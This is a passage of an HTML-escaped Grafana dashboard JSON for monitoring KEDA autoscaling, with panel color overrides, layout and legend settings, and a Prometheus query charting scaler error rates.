/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;matcher&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;byName&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;&quot;scaledObject&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;properties&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;color&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fixedColor&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;fixed&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;matcher&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;byName&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;&quot;keda-system/keda-operator-metrics-apiserver&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;properties&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;color&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fixedColor&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;fixed&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;9,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;4,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;calcs&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;displayMode&quot;:&amp;nbsp;&quot;list&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;placement&quot;:&amp;nbsp;&quot;bottom&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showLegend&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;single&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;editorMode&quot;:&amp;nbsp;&quot;code&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;sum&amp;nbsp;by(job)&amp;nbsp;(rate(keda_scaler_errors{}[5m]))&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;{{&amp;nbsp;job&amp;nbsp;}}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;range&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Scaler&amp;nbsp;Total&amp;nbsp;Errors&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;timeseries&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;description&quot;:&amp;nbsp;&quot;The&amp;nbsp;number&amp;nbsp;of&amp;nbsp;errors&amp;nbsp;that&amp;nbsp;have&amp;nbsp;occurred&amp;nbsp;for&amp;nbsp;each&amp;nbsp;scaler.&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fieldConfig&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;defaults&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;palette-classic&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;custom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisCenteredZero&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisColorMode&quot;:&amp;nbsp;&quot;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisLabel&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisPlacement&quot;:&amp;nbsp;&quot;auto&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;barAlignment&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;drawStyle&quot;:&amp;nbsp;&quot;line&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillOpacity&quot;:&amp;nbsp;25,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gradientMode&quot;:&amp;nbsp;&quot;opacity&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hideFrom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;viz&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineInterpolation&quot;:&amp;nbsp;&quot;linear&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineWidth&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pointSize&quot;:&amp;nbsp;5,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;scaleDistribution&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;linear&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showPoints&quot;:&amp;nbsp;&quot;never&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;spanNulls&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;stacking&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;group&quot;:&amp;nbsp;&quot;A&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdsStyle&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;off&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappings&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;absolute&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;steps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br 